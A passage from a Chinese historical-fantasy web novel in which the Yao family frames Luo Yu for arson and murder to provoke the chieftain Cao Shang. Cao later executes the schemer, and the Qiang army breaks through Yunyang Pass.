洛羽眼神冰冷:
“去查查,姚家最近有没有搞什么小动作!”
……
曹府正厅
曹殇和姚昌正在举杯对饮,光闻酒香就知道是从听雨楼手里扣下的三锅头。
“啧啧,此酒真是不错。”曹殇砸吧着嘴:“怪不得鼎香居的生意不如听雨楼,有如此好酒,生意岂能不红火?”
“所以咱们才来请曹首领帮忙不是。”
姚昌主动敬了一杯酒,套起近乎:
“咱们在阙州境内立足多年,说起来都是老人了,他洛羽算什么东西?撑**一个初出茅庐的小儿罢了,竟然敢和我们斗?
接下来还得多多仰仗曹首领。”
“你放心,既然收了你们的银子我就会替你们把事情办完。”
曹殇微微一笑:
“听雨楼的财路已经被我断了一半,这两天等我找个借口,断了他另一半!至于后面的事怎么解决,那就看你们姚家自己的了。”
“呵呵,曹首领的信誉自然是毋庸置疑的。”
姚昌接着说道:
“不过洛羽此人确实得多加提防,之前他敢跟姚家抢地盘,日后保不齐也会和饮马镇抢地盘,您不得不防啊。”
“哼,他算个什么东西,也配和我抢地盘?”
曹殇冷笑一声:“若他真敢惹到我头上,我一定会把苍岐踏为平地!”
“其实在下有一事不解,前两天洛羽来饮马镇的时候就是最好的动手时机,您为什么不杀了他替二十号兄弟报仇?”
“这话说得就不对了。”
曹殇微皱眉头:
“现在没有任何证据表明人是他杀的,人家来找我谈生意,我不分青红皂白就把他宰了,那我曹殇不就成了卑鄙小人?传出去我的名声就臭了,以后谁敢来饮马镇做生意?”
“对对对,曹头领说的是,倒是在下欠缺考虑了。”
姚昌笑着打哈哈,实则心里万分鄙夷,你一个淫贼还在乎起名声来了?
“马场失火了,失火了!”
“快来人救火啊!”
“不好了,草料场也起火了!”
刚把三锅头灌进肚中,外面就响起了惊慌失措的呐喊,曹殇蹭的一下就站了起来,急喝道:
“快,立刻派人去救火,妈的,谁这么不小心!”
曹殇那个急啊,饮马镇可是靠养马起家的,到处都是马厩、草料场,火势一起弄不好要把整个镇子都给烧掉,所以这么久以来饮马镇最怕的就是失火。
外面乱
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了许久才渐渐安静下来,几名彪形大汉押着一个人走了进来,抬腿一脚就将其推翻在地。
“怎么回事?此人是谁?”
“大哥,失火不是意外,而是此人故意纵火!”
悍卒恶狠狠地说道:
“放火的有五六个,其他几个都被宰了,只剩这么一个活口。咱们被烧了两座草料场,还**七八匹小马驹,妈的。”
“故意纵火?好大的胆子!”
还不等曹殇开口,姚昌先怒了:
“你们是什么人?是何人指使你放火!”
“我,我……”
被抓的是个黑脸汉子,身体止不住地颤抖,支支吾吾半天也没放出个屁来。
“敢在饮马镇撒野,真是活腻歪了。”
曹殇面无表情地一挥手:“先卸了他的胳膊,待会儿再慢慢拷问。老子就喜欢硬骨头,倒要看看你能扛多久。”
“饶,饶命啊!”
一听要砍胳膊砍腿,黑脸汉子当场吓得魂飞魄散,拼命求饶:
“说,我全都说,饶命啊!”
“你是何人?谁派你来的!”
“我,我是苍岐城的兵丁,是洛城主让我们来的。”
“洛羽让你们来的?”
曹殇的目光陡然冰冷:“你说的可是真话?”
“千真万确,小的就算有十个胆子也不敢骗您啊,求曹爷饶小人……”
话还没说完,黑脸汉子突然浑身一僵,鼻孔耳朵慢慢流出血迹,面堂发黑,砰的一声栽倒在地。
姚昌疾步上前,掰开眼皮一看便心领神会:
“提前服毒了,看来是有备而来!”
“混账!”
曹殇气急败坏,话还没问几句呢人就**。
“曹首领,洛羽真是没把您放在眼里啊。”
姚昌打抱不平,义愤填膺:
“想要买马不成,竟然派人来烧您的马厩、草料场,这是蓄意报复,小人行径!
这么看此前**的也是他们,只不过没留下把柄,但这一次算他倒霉,被咱们人赃俱获!”
“妈的,把我当傻子耍?”
曹殇气得咬牙切齿,冷喝道:
“点齐三百精骑,跟我走!老子要踏平苍岐!”
第94章兵临苍岐
“大哥,天大的好消息!曹殇已经带着兵马朝苍岐去了,看架势是要取那洛羽的狗头!”
曹殇刚带兵离开,姚昌就快马加鞭赶回凤川城,将好消息告诉了姚林。
“噢?看来是我们的计策奏效了啊,哈哈!”
姚林当即大喜,乐呵呵地笑道:
“还是你的主意好啊,先是暗杀饮马镇的兵马、而后再派人烧毁草料场,故意安排死士说出洛羽的名字,这下他就算跳进黄河都洗不清了。
按曹殇那个暴脾气,指定要大打出手。”
“嘿嘿,多谢大哥夸奖!”
“抢来的二十匹战马藏好了吗?可别被饮马镇的人给发现了。”
“放心吧,全都藏在鼎香居,无人能够察觉。”
“那就好。”
兄弟俩笑容满面,这一切自然是他们在背后捣鬼,要的就是让洛羽和曹殇结仇!
姚昌阴笑道:
“曹殇此人有勇无谋,咱们略施小计便可将其**于股掌之间,这下苍岐城注定要城毁人亡了,哈哈!”
“不不不,恐怕没这么轻松。”
姚林微微摇头:
“苍岐城的兵很多都是边军老兵,战斗力强悍,这一点咱们早就领教过了。光靠曹殇带去的三百骑还真不一定是他们的对手,依我看,这次曹殇要惨败而归。”
现如今的姚林已经不敢轻视洛羽了,这个年轻人给了他太多意外。
“惨败而归?那咱们的栽赃陷害不就白费了?”
“那也未必,曹殇若是惨败而归,饮马镇必定伤亡惨重,两人不就结下了死仇?依我看啊,若是曹殇败了,对我们来说反而是天大的好机会!”
“好机会?”
姚昌疑惑不已:“何意?”
姚林的嘴角勾起一抹冷笑:
“你现在就回饮马镇等着,如果曹殇真的大败而归,必定要倾巢而出**苍岐,到时候你就说,咱们凤川城也可以派兵参战,祝他一臂之力!”
“助他一臂之力?”姚昌大惑不解:
“这家伙只认银子,贪婪无比,杀一个洛羽竟敢狮子大开口跟咱们要两万两,为何要助他?”
“笨!”
姚林瞪了他一眼:
“换个角度想,曹殇和洛羽倾力死拼,是不是会打个两败俱伤?等曹殇费尽九牛二虎之力收拾了洛羽,咱们再从背后捅曹殇一刀,顺势将其灭了,那苍岐和饮马镇不就都成咱们的了吗?”
“妙,太妙了!”
姚昌钦佩不已,当场就竖起了大拇指:“还是大哥的脑子好使!”
“哈哈哈。”
姚林大笑出声:“姚家能不能发展壮大,就看这一遭了!”
……
“洛羽!”
“你个卑鄙无耻的小人给老子滚出来!”
怒骂声回荡在苍岐城的上空,城门早已紧闭,大批士卒登城防守,一群骑兵正在城门外耀武扬威,中间的军旗大书一个“曹”字。
守卒面色凝重,饮马镇的威名还是有不少人听过的,曹殇的凶名不亚于他淫贼的称号。
虽说曹殇只带来了三百骑,但声势确实不弱,骑卒列阵严整,人人凶神恶煞,杀气缭绕,光看气势就比姚家的骑兵要强上不少。
“嘎吱!”
营门打开,同样是三百骑兵疾驰而出,清一色黑甲在身、弯刀悬腰。洛羽勒住缰绳,冷喝道:“曹首领这是何意,平白无故为何带兵来我苍岐?”
“你个奸贼,都到这时候了还敢装模作样!”
曹殇气不打一出来:“早知你如此卑鄙,当初就不该让你活着走出饮马镇!”
“曹殇,你太张狂了些!”
洛羽面色冰冷:“不分青红皂白张口就骂,真当我怕你?”
“不分青红皂白?好,我问你!三天前我手下一队骑兵外出全部**,是不是你干的!”
“我说了,不是!”
“不承认是吧?”
曹殇提枪指向洛羽的鼻尖:
“那昨天夜里饮马镇草料场被烧总该是你干的吧?”
“我好端端的烧你草料场干什么?不要什么脏水都往我身上泼!”
“妈的,老子活捉了你的人,是你手下的士卒亲口招供,难道我还冤枉你了?”曹殇咬牙切齿:
“噢,我知道了,你以为给人服了毒就死无对证了是吧?看你年纪轻轻,没想到心思却如此歹毒!
看来我曹殇猜得没错,你确实是个无耻小人!”
“你到底在放什么屁?”
洛羽冷着脸:“我一没杀你的人,二没烧你的草料场,你爱信不信!”
“老子也懒得跟你掰扯。”
曹殇扫了一眼洛羽身后的骑兵:
“可不是什么人都能骑在饮马镇头上拉屎的,今天我给你两个选择,要么咱们点齐兵马拉开架势打一场,要么你和我一对一过过招,咱们分个胜负!”
“曹殇,你休要欺人太甚。”
洛羽面带讥讽:
“一对一就一对一,还真以为我怕你?”
“那就让我领教一下洛城主的枪法,看看你凭什么
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杀了完颜昌!”
“驾!”
曹殇暴喝一声,胯下战马如离弦之箭冲出,抬手便是一枪笔直刺出,**在阳光下划出一道冷冽的弧线。
说动手就动手,绝不含糊。
洛羽几乎同时策马迎了上去,两马交错瞬间,曹殇的枪尖直取洛羽咽喉,快若惊雷。洛羽上身微仰,枪杆横挡,“锵”的一声震响,火花四溅,两人手臂同时一颤。
“好强劲的力道。”曹殇眼中闪过一丝诧异,随即狞笑:
“再来!”
“怕你不成!”
这次是洛羽率先发动攻势,手中浑铁**化作一道流光笔直上挥。曹殇不避不让,猛地一扯缰绳,战马前蹄腾空,手中**顺势往下一劈,竟然想要以居高临下之势挡下洛羽的攻势。
眼看招式被破,洛羽突然变招,**由直刺改为上挑,正迎上曹殇下劈的枪杆。
“当!”
又是一记猛烈的对拼。
两位主将连过了数十招,招招都是奔着对方要害去的,看似险象环生,但实际上十分焦灼,并未分出胜负。
“看来曹殇不止有淫贼的恶名啊。”萧少游唏嘘一声:
“能和城主拼得不相上下,枪法着实不弱。”
“此人当真不能小觑。”韩朔沉声道:“真不知道他抽什么风,突然带兵发难。”
萧少游目光微凝:
“其中定有什么我们不知道的隐情!”
“喝!”
“当当当!”
“再接我一招试试!”
对拼数十招,曹殇突然怒吼一声,浑身蓄力,**如毒蛇吐信般猛然刺向洛羽的心窝,枪尖快得出奇。
洛羽瞳孔骤缩,身体几乎本能地做出反应,猛拉缰绳,同时腰身一扭,险之又险地避开了这一枪,枪尖擦着自己的胸甲划过,留下一道醒目的刮痕。
好凌厉的一枪!
若无铁甲护体,只怕洛羽已经要血溅当场。
“该我了!”
甚至还没稳住身形,洛羽的反击就来了,陡然从马鞍上跃起,枪出如龙,直刺曹殇面门。
“好快的反应!”
曹殇表情骤变,仓促举枪格挡,却见洛羽手腕一抖,枪尖突然变向,改刺为扫,重重拍在曹殇胸膛。
“噗嗤!”
这一招变枪让曹殇猝不及防,一阵剧痛袭遍全身,直接被击飞倒地,摔得灰头土脸。
“再动一下试试?”
还不等他起身,锋利的枪尖便抵在了他的咽喉处,令其再也不敢动弹一下。
第95章我避他锋芒?
从曹殇的凶悍攻势到洛羽的凌厉反击不过电光火石的瞬间。
人仰马翻,胜负已分。
陡然的变故让远处三百曹家兵瞳孔骤缩,谁也没料到他们的头会败在洛羽手里,人人挺枪向前:
“救人!动手!”
“宰了他!救回大哥!”
“嗖!”
排头一位偏将刚要策马冲出,便有一支利箭飚射而来,稳稳地落在马蹄前方,高速摆动的箭矢惊到了战马,战马一阵嘶鸣,胡乱翻腾,差点将骑兵掀翻在地。
“嗖嗖嗖!”
同时有无数箭雨落下,溅起尘土飞扬,箭矢并未伤人,全都稳稳落在骑阵两侧,更像是一个警告。
直到此刻他们才发现,两翼各出现了一座步卒方阵,约莫六百军卒,**、盾牌应有尽有,早已扼守住险要地势。
也就是说他们已经被包围了!
城头上的萧少游微微一笑,曹家骑兵声势浩大的出动,他怎么可能一点准备都没有?吕青云和余寒弓早就带兵外出,埋伏在曹家骑兵的侧翼了。
余寒弓弯弓搭箭,嘴角上扬:
“谁再敢动,下一箭就得见血了!”
“妈的!跟他们拼了!”
曹家兵也算悍勇,不惧反怒:“救出大哥!杀出去!”
“都不要动!”
最终还是曹殇的怒吼声止住了暴躁的军卒,他很清楚真要死拼,今天带来的三百人只有全军覆没一条路。
“我输了。”
望着眼前锋利的枪尖,曹殇并未惧怕,只是冷冷地说了一句:
“杀了我可以,放我弟兄们走。”
“倒是挺讲义气。”
洛羽嘴角微翘,收回了枪尖:“我不杀你,走吧。”
“你要放了我?”
曹殇眉头微皱:
“为什么?我一走,明天就会带着上千骑兵过来将苍岐踏成废墟,到时候你的士兵,外加城里的百姓一个都跑不掉!”
“你不会的。”
洛羽很平静地说道:
“如果你真想这么做,今天就不会只带三百人过来了。你之所以提出一对一,也是怕伤及无辜吧?
看在你还有一点良知的份上,我饶你一命,下次你可就没那么好运了。”
曹殇挣扎着从地上爬起来,眼中还带着一丝怒意:
“别以为放过我一次老子就会对你感激涕零,这事,不算完!”
“我说了,不是**的。”
洛羽讥讽道:
“你这个人,功夫不错,脑子却不怎么好。如果我真的有意要对付饮马镇,那我今天不就能缴了你三百骑兵的战马?
愚蠢至极!
送你两个字。”
曹殇被说得一愣一愣的:
“什么?”
“滚蛋!”
……
曹家兵消失在天边尽头,萧少游满意得很:
“挺好,一人没死。”
洛羽很冷静:
“真要杀了这三百人,咱们与饮马镇的仇可就结**,再无转圜的余地。说句实话,真心不想和曹殇为敌,他手中的战马对我们来说至关重要。
可惜啊,这家伙被人耍得团团转。”
“看看吧。”
萧少游递过一封书信:
“江殊刚刚送来的。”
洛羽摊开书信简单一扫,眼中便闪过一抹寒光:
“我就知道是你!”
……
三百骑兵垂头丧气地回到了饮马镇,别看一人一马未伤,可这些人就像是被打碎了脊梁骨,一个个都耷拉着脑袋。
为什么?
因为他们完好无损地回来不是因为自己能打,而是苍岐主动放了他们一马,否则便是三百具死尸。
饮马镇的骑兵个个性子高傲,哪受得了这种**?
曹殇独自一人呆坐着,死死攥住拳头,双眼像是要喷火。
“曹首领,曹首领!”
姚昌火急火燎地从屋外冲了进来,绕着曹殇左看右看:“我刚回来就听说你们在苍岐城吃了亏,您还受了伤。
没事吧,有没有伤到哪儿?我立刻派人去凤川城请医师来!”
姚昌那叫一个无微不至、嘘寒问暖,曹殇捂着胸口艰难地摆摆手:
“没事,些许皮肉小伤罢了,不打紧,哪需要什么医师。”
“没事就好。”
姚昌这才松了口气,随即面带歉意:
“曹首领,此事是我姚家不好,若不是因为我们,你也不会和洛羽结仇,饮马镇就不会吃这个亏。放心,我姚家一定会补偿兄弟们的。”
“这说的是哪里话?”
曹殇冷声道:
“我和你们姚家做的是买卖,一手交钱一手交货;我和苍岐的恩怨纯属洛羽是个卑鄙小人,无耻至极,背后使阴招。
两件事一码归一码,与你们无关。”
“曹首领胸襟坦荡啊,姚
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某自愧不如。”
姚昌恭恭敬敬的抱拳行礼,紧跟着便愤愤不平地骂道:
“妈的,说到底还是这个洛羽嚣张至极、欺人太甚!先是在凤川城和我姚家抢生意,还杀了我八百兄弟,现在又骑在饮马镇头上撒野。
还真把阙州内地当成云阳关了,任由他胡作非为!老子恨不得生食其肉!”
姚昌骂声不绝,十八种骂法绝没有一句是重复的,全都是心里话,因为他真的恨透了洛羽。
“曹首领,接下来您打算怎么办?实在不行暂时就守住饮马镇不要外出了,避一避苍岐的锋芒,他那些兵马确实厉害。”
“避他锋芒?我曹殇在阙州混了这么久要避他锋芒?”
曹殇怒目圆睁:
“此仇不报难消我心头之恨!明天我就点齐兵马,倾巢而出,踏平苍岐!”
“三思啊曹首领!”
姚昌目光陡变,急忙劝谏:“苍岐有很多从边关退下来的老兵,身经百战,不好对付,咱们还是先忍一忍再说。
等日后时机成熟再找他报仇不迟。”
“放屁!姚家忍得住这口气,老子忍不住!”
曹殇拍案而起:
“我与洛羽势不两立!”
“妈的,曹首领既然这么说了,那我姚家也不能当缩头乌龟!”
姚昌似乎被激起了火气:“饮马镇若是倾巢而出围剿苍岐,那我凤川城也会助你一臂之力!姚家尚有近千军卒,愿跟随曹首领一战!”
“此话当真?”
“千真万确!”
姚昌信誓旦旦地喝道:“不踏平苍岐,绝不撤兵!”
“好,痛快!”
“蹭!”
曹殇猛地拔出腰刀,高举在半空中:
“老子的刀很久没见过血了,这次就要用卑鄙小人的血染红刀锋!”
“曹首领霸气!”
望着寒光闪闪的刀锋,姚昌的心里都快乐开花了,成了成了!
曹殇右手举刀,左手一横:
“姚兄,今日你我就击掌为誓,出兵共击苍岐,苍岐到手之后,地盘归你,银子女人归我!”
“好,一言为定!”
姚昌强忍心头的激动,兴奋地伸出右手。
可就在这一刻,悬在半空中的刀锋笔直下滑,沿着手腕一刀砍过,将姚昌的手臂一劈两截,鲜血飚射而出。
凄厉的惨叫声陡然回荡在饮马镇的上空。
第96章人头就当是回礼了
鲜血淋漓的断手掉落在地,剧痛让姚昌疼得满地打滚、惨叫连连、满头冒汗,脸色惨白的姚昌不可置信地看向曹殇:
“干,干什么!你疯了!你这个疯子!”
“手,我的手啊!”
姚昌不明白,不是说好了击掌为誓、共击苍岐吗?怎么一刀就把自己的手臂砍断了。
曹殇拎着鲜血淋漓的弯刀,居高临下,眼神宛如在看待宰的羔羊:
“我刚刚说了,要用卑鄙小人的血染红刀锋,而你就是那个卑鄙小人!”
“为什么是我!不是洛羽吗!”
姚昌不停地扭动身躯,目光狰狞:
“是洛羽要和饮马镇为敌,姚家是真心实意帮你!洛羽才是那个卑鄙小人!”
“姚将军是在叫我吗?”
熟悉的嗓音突然回荡在耳畔,姚昌浑身一僵,从后屋走出的人影让他呆若木鸡,不可置信:
“洛,洛羽!你怎么会在这!”
一股本能的恐惧油然而生,时至今日姚昌都忘不了当初那一刀,差点把自己送去见阎王。
“当然是老子请过来的。”
曹殇蹲下身子,用刀锋拍了拍姚昌的脸颊:
“杀我二十号兄弟的是你,指使人烧毁马厩、草料场的也是你吧?你们姚家想在背后挑动我和苍岐结仇,自己坐收渔翁之利。
对不对?”
姚昌心头一颤,坚决否认:
“不,是他,是洛羽!是他在骗你!此人一向诡计多端、谎话连篇!曹首领你要相信我,我姚家岂会干如此卑劣之事!”
“死到临头还敢嘴硬。”
“真的不是我!若有半句谎言就叫我天打雷劈,不得好死!”
这时候姚昌别无他法,只能咬死不认:
“证据,你有证据吗!”
洛羽踱步向前,不紧不慢:
“十天前你们派出一百精锐,暗中伏击饮马镇外出的骑兵,杀完人之后清理了现场的痕迹,还将二十匹战马统统拉走,藏在了鼎香居。
你们的本意是想让曹殇怀疑到我的头上,结果曹首领认死理,没有证据就不想动手。所以你们只好又自导自演了一场烧毁马厩的戏码,派出提前服毒的死士故意被抓,然后供出我的名字。
噢,对了,这些死士出发前你们还请了几名青楼花坊的女子在鼎香居陪他们一夜风流,好让他们心甘情愿地**。
两招环环相扣,这才让曹头领怒火中烧,带兵前往苍岐。
对吗?”
姚昌的眼神从茫然到震惊,再到恐惧,浑身开始止不住的颤抖:
“你,你怎么会知道?你怎么可能会知道!”
他就像见了鬼一般,这些可都是姚家机密啊,洛羽远在苍岐,怎么可能对鼎香居内发生的事情一清二楚。
洛羽宛如看待**:
“听雨楼和鼎香居斗了这么多年,就连杜刚都知道在听雨楼安插内奸,难道听雨楼就不会在鼎香居里放两个自己人?
蠢货!”
这些事情自然是靠江殊查出来的,若是没有真凭实据,曹殇怎么可能干脆利落地砍掉他一只手呢。
姚昌傻眼了,他千算万算也没料到鼎香居里会有内奸,还以为一切尽在掌握呢。
“砰!”
房门突然被重重推开,凶神恶煞的军卒押着七八名汉子走了进来,全都是姚昌带来的亲随,个个被打得鼻青脸肿、哭爹喊娘。
曹殇讥讽道:
“你这些心腹也招了,这下该死心了吧?”
姚昌面如死灰、瘫倒在地,和上次一样被吓得大小便失禁。
“得亏洛城主好心把证据给我,否则我还真被你们姚家耍得团团转。”
曹殇的表情并不愤怒,只是**意笼罩,刀锋一点点靠近姚昌的咽喉:
“敢在我的头上动土,真是活腻歪了。”
“别,别杀我,我们姚家……”
“噗嗤!”
话都没说完,曹殇就一刀割开了他的咽喉,鲜血流了一地,跪在地上的几名亲随吓得魂不附体,拼命磕头求饶。
“瞅瞅你们这不争气的样子,哪有点男子气概?”
曹殇很是不屑:
“老子懒得杀你们,把姚昌的人头带回去,告诉姚林。
他在背后摆了我一道,姚昌的人头就算是回礼,以后咱们两不相欠。但是从今往后姚家的人不要出现在老子的地盘上,听雨楼做生意姚家也不得再有任何阻拦。<
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br>若是姚林不服,老子会带着饮马镇的兄弟们去找他好好谈谈。”
“滚!”
早已被吓破胆的亲随带着姚昌的人头走了,无头尸首直接被丢到镇子外面去喂狗。
“这次算我欠你一个人情,但我从不喜欢欠人情。”
曹殇坐回椅子上说道:
“战马可以卖给你,但你就不用给我酒了,老子对卖酒的生意不感兴趣,直接拿银子买就行。
五十两银子外加一柄刀买我一匹马,现在羌兵压境、黑市马价飞涨,这个价格绝对公道。
五天后,我会让人把三百匹战马送到苍岐,刀你先给我,银子一个月内结清就行。”
“成交!”
洛羽毫不犹豫就同意了这桩买卖,价格他压根不在乎,只要能弄到心心念念的战马就行:
“合作愉快!”
“但我丑话说在前头,别以为经历这么一遭你我就是朋友了。”
曹殇冷冷地说道:
“战马卖给你是因为你帮了我,我又错怪了你,算是我表达歉意。但我依旧觉得你自私自利,打着英雄的幌子谋取私利,这一点并未改变。
以后饮马镇会不会继续和苍岐做生意,还得看我的心情。”
“饮马镇和谁做生意是你的自由,我无权干涉。”
洛羽起身告辞,但走到门口的时候顿住了脚步:
“给曹首领一个忠告,以后对别人的看法最好不要靠道听途说,得先去了解别人再下结论。
你说我自私自利,请问你有没有去苍岐城走走看看,你有没有问过老百姓日子过得怎么样?你有没有问过那些庄稼汉子为什么会心甘情愿地从军入伍?
我猜你都没有。
既然都没有,你凭什么说我自私自利?无非是你的固执己见,一厢情愿罢了。”
曹殇愕然,被洛羽一句句反问问得哑口无言。
“走了。”
洛羽径直离去:
“既然曹首领看我不顺眼,也没必要在这讨人嫌,日后不到万不得已,苍岐不会找你做生意。
后会有期!”
望着远去的背影,曹殇眼中第一次闪过一抹疑惑:
“难道老子看走眼了?”
第97章云阳关破
夏日炎炎、艳阳高照
曹殇如约将战马送了过来,整整三百匹,洛羽不想拖欠,一次性就将弯刀白银全都送了过去,差不多掏空了苍岐城的家底。不过有听雨楼在,银子会源源不断流入苍岐。
新到的战马大部分都划归董川麾下,又凑出一个骑兵尉,剩下的则归小伍率兵的亲兵。
一匹匹骏马在校场中奔驰,赤裸上身的军汉不停地刺出**,将捆满沙包的稻草人一枪捅翻在地。
还有人在马背上弯弓搭箭,练习箭术,动作虽然僵硬,但也算有了几分模样。
这一批新兵入伍到现在一个多月,几乎日日要练习骑术、枪法、箭术,谁敢偷懒懈怠就没饭吃。
当初萧少游和洛羽制定的练兵方略很管用,从叠被子、站军姿这种细枝末节入手,短短一个月就能让庄稼汉变成号令严明的军卒。
自从见识到饮马镇成批成批的骑兵驰骋之后,洛羽对组建大规模骑兵生出了一种执念。
在陇西地界,不管是各家内斗还是与西羌搏杀,骑兵都是天生的霸主!
萧少游乐呵呵地在旁边念着苍岐城的家底:
“现如今城中可战之兵有一千三百人,小伍指挥的亲兵旗一百人,剩下的分为四尉,每尉三百兵马。
战马八百匹,亲兵旗一百匹、董川、蒙虎两尉各三百匹,吕青云、余寒弓两尉各五十匹。
公输白已经打造好了一千三百军卒所需要的全套甲胄、军械,**,咱们苍岐算是有了自保之力。”
“整整八百骑兵啊,放在三个月前想都不敢想。”
韩朔满心欢喜:
“现在姚家在我们眼里可谓不堪一击,哪怕饮马镇的骑兵倾巢而出咱们也有一战之力。”
“姚家,呵呵。”
再次提起姚家的时候洛羽很是不屑:“最近姚林有什么动静吗?没想着报复咱们?”
“他哪里还有报复的胆子。”
萧少游讥讽道:
“姚昌的人头送回去之后姚林就整日闭门不出,凤川城巡逻的军卒都不敢从听雨楼门口走过,就连鼎香居都关门了。
他现在得罪的不只是我们,还有曹殇,咱们或许还讲点道理,可惹**了曹殇,姚家只有满门被灭一条路。”
“栽了两个跟头知道夹起尾巴做人了。”
韩朔冷笑一声:
“第一次指使乱石岭的土匪找麻烦、第二次是联合地主发兵攻打苍岐,前两次咱们都给了他机会,这是第三次了。
城主,事不过三,要我说就直接发兵灭了他,姚林手中撑死千把人,咱们定能战而胜之。”
“灭了他容易,可咱们当务之急是练兵啊。”
洛羽有些忧虑:
“云阳关战事好几天没消息了,鬼知道羌兵什么时候杀进来,这时候去找姚家死拼不是明智之举。”
“怕是情况不妙。这次羌兵是分头进攻阙州、定州,李家和君家只能各自迎战,无法合兵一处,再加上羌兵来势汹汹,难以匹敌。”
萧少游默然道:
“最近逃往内地的难民越来越多,其中很多都是云阳关的百姓,如此大规模的逃难,战事定然不容乐观。”
“咱们不在前线,只能听天由命了。”
洛羽苦笑一声,没来由地想起曹殇那句话,你不是大英雄吗?怎么不去云阳关保家卫国?
这实际上是大乾军制的问题,调往云阳关的兵马只属于两方势力,一边是朝廷派来的、一边是隶属于李家的牙兵,而苍岐在名义上不属于阙州、定州管辖,李家的号令自然送不到这里。
朝廷就更别提了,压根不知道这鬼地方还有一座城。
除非洛羽啥也不管,自己带兵去云阳关,可那样的结果只有一个,被别人当成替死鬼坑死。
“城主,城主,出事了!”
董川的吼声老远就传了过来,一路飞奔,神色慌乱,跑到几人面前时已经累得上气不接下气。
“怎么了?”
“云阳关,云阳关丢了!”
“什么!”
三人面色大变,刚还聊到云阳关的战事,转头就被羌兵攻破了?
“刚收到的消息。”
董川面色凝重:“三天前羌兵攻破云阳关,杀主将宋中,守卒四千余人几乎全军覆没,大败亏输。
现在羌兵已经兵分多路突进内地,边关一线全都乱套了。”
大败,确实是大败。
短暂的沉默,每个人的脸上都写满了悲戚,有一种莫名的伤感。
当初云阳关是他们拼了命才守住的,现在说丢就丢了。羌兵一旦入境,不知道又得有多少百姓惨死在羌兵刀下。<
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br>“都别耷拉着了,给我打起精神。”
洛羽面无表情的说道:
“从现在起一定要加强戒备、随时备战,如果羌兵真的杀到苍岐,那我们就只有血战到底!”
……
短短两天,阙州边关就乱成了一锅粥,羌兵本就是游牧民族,云阳关一破他们就兵分多路,四处劫掠,见人**、见钱抢钱。
边关地带有大大小小十几座城池,各城城主面对如此危局采取的应对措施也各不相同:
胆子小的拖家带口连夜跑路,逃往阙州内地寻求庇护;手中有点兵力或者舍不得家产的就固守城池,等着朝廷发兵救援……
最惨的还是乡野百姓,若是命不好被羌兵撞见,那就是死路一条。
苍岐城内,洛羽等人的面色很不好看。
就在刚刚他们接到消息,姚林带着自己的族人家眷还有一千守军全跑了,也就是说凤川成了一座空城。
原因很简单,凤川是阙州内地排得上号的繁华大城,自然是羌兵劫掠的首选,据说有一支两千人的游骑正气势汹汹扑向凤川城,打算将凤川一锅端。
姚林知道自己不是羌人的对手,提前一步跑了。
“妈的,这个贪生怕死的怂包!”
蒙虎愤然大骂:
“好歹也是凤川城的城主,大难临头自己跑了,满城的百姓怎么办!”
“跑的可不只是姚家啊,听说很多有钱人也跑了,包括城外的一些大地主,整个凤川都乱套了。”
萧少游默然抬头:
“凤川城现在就是一座空城,无兵驻守。两千羌骑来势汹汹,不管是姚家还是李家,又或者是附近几家大族,都绝无可能发兵救援凤川。
羌兵一旦入城,会死很多人。
我们该怎么做?”
所有人都不再作声,他们要不要去救苍岐?
洛羽沉默了,打还是不打?苍岐仅有的八百骑兵能不能挡住羌兵?八百骑一旦外出,苍岐怎么办?有没有可能两座城都保不住?
这个决定真的很难做。
“呜!”
“呜呜!”
城头上陡然响起了凄厉的号角声,所有人心头一惊,羌兵已经来了?怎么会这么快!
小伍步履匆匆地闯了进来:
“不是羌兵!是曹殇!说要见城主。”
第98章好一个曹贼
日暮黄昏,夕阳倾洒在苍岐城头,泛着点点余晖。
上千骑兵驻足城外,不闻半声战马嘶鸣,只能看到一面面随风飘动的“曹”字军旗,骑兵都站在地上,手牵缰绳,全场寂静无声,恍惚间有种天地静止的错觉。
洛羽和曹殇并肩而立站在城头,苍岐城地势高,可以看出很远,目光扫过之处恰好是阙州内地。
全副武装的上千骑兵令洛羽皱起了眉头:
“曹首领,你这是?”
“放心,我不是找你麻烦来了。”曹殇面带歉意:“今日特地来跟你说声抱歉。”
“跟我说抱歉?为什么?”
“这些天我派底下的兄弟来苍岐看了看,听说你付给修墙民夫的工钱远高于市价,让他们人人可以吃饱穿暖,还将地主老爷家的地分给了老百姓,让耕者有其田。
此前说你卑鄙无耻自私自利是我不对,有错就认,我给你赔礼了。”
曹殇深深地弯下了腰肢,一向脏话不断的他突然如此有礼貌,愣是让洛羽有些不知所措:
“快请起,这都是我该做的。”
曹殇喃喃道:“除了抱歉,还想跟你讲讲故事,有些话憋在心底很多年了,今日不说,只怕再没有机会说出来。”
“请讲。”
洛羽心头疑惑,为何今天不讲就再也没机会了?他到底在搞什么东西?
曹殇先问了一句:“洛城主知不知道我为何会占据饮马镇?”
“略有耳闻。”
洛羽目光微挑:“我听说饮马镇之前的主人姓刘,占据此地好些年,是曹首领带着兵马灭了他满门,杀了全府上下一百多口之后才占了饮马镇。”
此事在阙州几乎人尽皆知,但凡提到此事就会有人骂曹殇没人性,手段太过恶毒。
“没错。”
曹殇的眼眸微微闪烁:
“二十年前,我还是个十岁出头的娃娃,每天只知道跟着爹娘放羊、砍柴,小山村的日子虽然苦,也经常饿肚子,但那时候总觉得很安心,没什么烦恼,每天都能跟在爹娘身边打趣玩闹。
后来有一天马匪闯入山村,烧杀抢掠,见人就杀,整座村子都成了人间地狱。爹娘没办法,只能将我用一条麻绳捆着吊进枯井里,这才躲过一劫。
从白天到黑夜,从黑夜到白天,饿了两天两夜我才从井里爬出来。我至今都还记得爬出来见到的第一幕,上百村民的尸体被整整齐齐地摆在地上,包括我爹娘,被砍的血肉模糊,空气中弥漫的腥臭味令人作呕。
我坐在那儿哭啊,哭着求爹娘站起来带我回家,可他们怎么也不动弹。
从那时起,我再也没有亲人了。”
平静到极致的语气让洛羽既震惊又悲痛,谁能想到臭名昭著的饮马镇曹殇竟然会有这么一段过往。
“我一个小孩子,没了爹娘没了亲人,根本没有活路,哪怕是乞讨都讨不到饭吃。后来我就当了匪,在阙州境内四处游弋,渐渐拉起一帮兄弟。我当匪一是为了活下去,二是在找当初的仇人。
找啊找,找了好些年,我终于找到了那伙人。
饮马镇,刘家。
以血还血,以牙还牙,我做的有什么不对?”
洛羽目光一颤,十几年前的刘家原来就是杀害曹殇全村的凶手,怪不得他要灭了人满门。
“从那之后饮马镇就归我了,十年来也算混出了点名声,不过都是恶名罢了。”
曹殇自嘲似的一笑:
“阙州人都说,我曹殇一爱寡妇二爱金银,洛城主是不是打心底鄙夷我?”
